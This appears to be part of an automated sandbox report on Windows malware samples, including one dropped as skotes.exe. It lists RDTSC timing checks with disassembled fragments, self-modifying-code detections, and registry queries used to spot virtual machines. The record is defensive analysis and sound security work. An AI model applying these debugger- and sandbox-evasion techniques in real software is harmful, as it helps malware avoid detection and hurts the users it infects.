Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE93D0 second address: BE93F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1D548AAC04h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1D548AABFDh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE93F9 second address: BE93FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9556 second address: BE955C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE955C second address: BE9578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1D54DCB056h 0x0000000a popad 0x0000000b jns 00007F1D54DCB05Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9578 second address: BE9581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9581 second address: BE9596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB061h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9723 second address: BE973E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1D548AABFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE973E second address: BE9742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9742 second address: BE9752 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1D548AABF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9752 second address: BE9756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED42B second address: BED430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED430 second address: BED47A instructions: 0x00000000 rdtsc 0x00000002 js 00007F1D54DCB05Ch 0x00000008 jno 00007F1D54DCB056h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 pushad 0x00000013 jmp 00007F1D54DCB063h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b pop edi 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jmp 00007F1D54DCB064h 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED47A second address: BED484 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED513 second address: BED51A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED51A second address: BED533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F1D548AABFDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED533 second address: BED5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 stc 0x00000008 push 00000000h 0x0000000a mov dword ptr [ebp+122D330Ah], eax 0x00000010 call 00007F1D54DCB064h 0x00000015 push edx 0x00000016 sub dword ptr [ebp+122D23C1h], edi 0x0000001c pop ecx 0x0000001d pop ecx 0x0000001e call 00007F1D54DCB059h 0x00000023 jmp 00007F1D54DCB060h 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007F1D54DCB062h 0x0000002f jmp 00007F1D54DCB05Ah 0x00000034 popad 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 pushad 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED5A0 second address: BED5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED5B2 second address: BED628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB05Ch 0x00000009 popad 0x0000000a pop edi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jbe 00007F1D54DCB064h 0x00000015 pop eax 0x00000016 mov esi, ebx 0x00000018 push 00000003h 0x0000001a or di, 20C8h 0x0000001f push 00000000h 0x00000021 mov edi, dword ptr [ebp+122D345Dh] 0x00000027 push 00000003h 0x00000029 push 6F3F7275h 0x0000002e jbe 00007F1D54DCB069h 0x00000034 jmp 00007F1D54DCB063h 0x00000039 add dword ptr [esp], 50C08D8Bh 0x00000040 mov dx, 8184h 0x00000044 lea ebx, dword ptr [ebp+12452350h] 0x0000004a mov esi, edi 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED628 second address: BED62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED62C second address: BED630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED630 second address: BED636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED865 second address: BED916 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1D54DCB06Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 6AD48A29h 0x00000011 or dword ptr [ebp+122D2A79h], eax 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F1D54DCB058h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov ecx, dword ptr [ebp+122D3451h] 0x00000039 mov dword ptr [ebp+122D330Ah], eax 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007F1D54DCB058h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 0000001Ah 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b add dx, E134h 0x00000060 adc edx, 65177127h 0x00000066 push 00000003h 0x00000068 sub edx, dword ptr [ebp+122D1C29h] 0x0000006e mov edx, dword ptr [ebp+122D333Dh] 0x00000074 call 00007F1D54DCB059h 0x00000079 pushad 0x0000007a jmp 00007F1D54DCB05Ah 0x0000007f push eax 0x00000080 push edx 0x00000081 jp 00007F1D54DCB056h 0x00000087 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED916 second address: BED91A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED91A second address: BED947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jns 00007F1D54DCB056h 0x00000010 jns 00007F1D54DCB056h 0x00000016 popad 0x00000017 pop esi 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1D54DCB05Fh 0x00000023 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED947 second address: BED957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D548AABFCh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED957 second address: BED95B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED95B second address: BED978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F1D548AAC01h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED978 second address: BED97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED97E second address: BED982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED982 second address: BED986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED986 second address: BED99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F1D548AABF8h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED99C second address: BED9BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b and esi, 4BBC7528h 0x00000011 lea ebx, dword ptr [ebp+12452364h] 0x00000017 mov di, cx 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED9BE second address: BED9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED9C3 second address: BED9C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED9C9 second address: BED9CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BED9CD second address: BED9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1D54DCB067h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C4D4 second address: C0C4D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C4D9 second address: C0C4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C4E1 second address: C0C4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1D548AABF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C4F0 second address: C0C4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C4F4 second address: C0C4F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C4F8 second address: C0C522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1D54DCB065h 0x0000000f pushad 0x00000010 jc 00007F1D54DCB056h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C522 second address: C0C527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A390 second address: C0A3A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB062h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A3A8 second address: C0A3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A3AD second address: C0A3CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB069h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A4F0 second address: C0A4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A4F4 second address: C0A50A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1D54DCB061h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A50A second address: C0A530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jnp 00007F1D548AABFCh 0x0000000e jnc 00007F1D548AABF6h 0x00000014 jo 00007F1D548AABFEh 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jne 00007F1D548AABF6h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A530 second address: C0A534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A7FA second address: C0A811 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A811 second address: C0A832 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F1D54DCB060h 0x0000000e jo 00007F1D54DCB056h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0A986 second address: C0A9A5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D548AABF8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1D548AAC01h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0AB05 second address: C0AB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0AC7A second address: C0AC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0AC7E second address: C0AC82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0AF36 second address: C0AF42 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1D548AABF6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0B4F0 second address: C0B4FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1D54DCB05Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BDC885 second address: BDC8AC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1D548AAC0Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BDC8AC second address: BDC8B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BDC8B0 second address: BDC8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BDC8B6 second address: BDC8CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1D54DCB060h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0B656 second address: C0B670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F1D548AAC04h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0BD46 second address: C0BD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0BD4C second address: C0BD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0BD50 second address: C0BD77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB068h 0x00000007 jp 00007F1D54DCB056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0BF27 second address: C0BF2D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C0C0B4 second address: C0C0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F1D54DCB069h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C1149E second address: C114A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C17E98 second address: C17E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C17E9D second address: C17EC5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F1D548AABFEh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1D548AAC04h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C18039 second address: C1806D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1D54DCB065h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C1806D second address: C18071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C18071 second address: C18095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F1D54DCB068h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C18095 second address: C1809E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C1809E second address: C180C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB069h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F1D54DCB056h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C1AF6E second address: C1AF72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C1AFF1 second address: C1B00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1D54DCB060h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: C1B00C second address: C1B012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FB56CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E0D4F6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E0F971 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 104DC42 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Special instruction interceptor: First address: A6E714 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Special instruction interceptor: First address: C1152B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Special instruction interceptor: First address: A6E6FB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Special instruction interceptor: First address: C93A9E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AEE714 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9152B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AEE6FB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D13A9E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe

Code function: 21_2_04EA0275 rdtsc

21_2_04EA0275

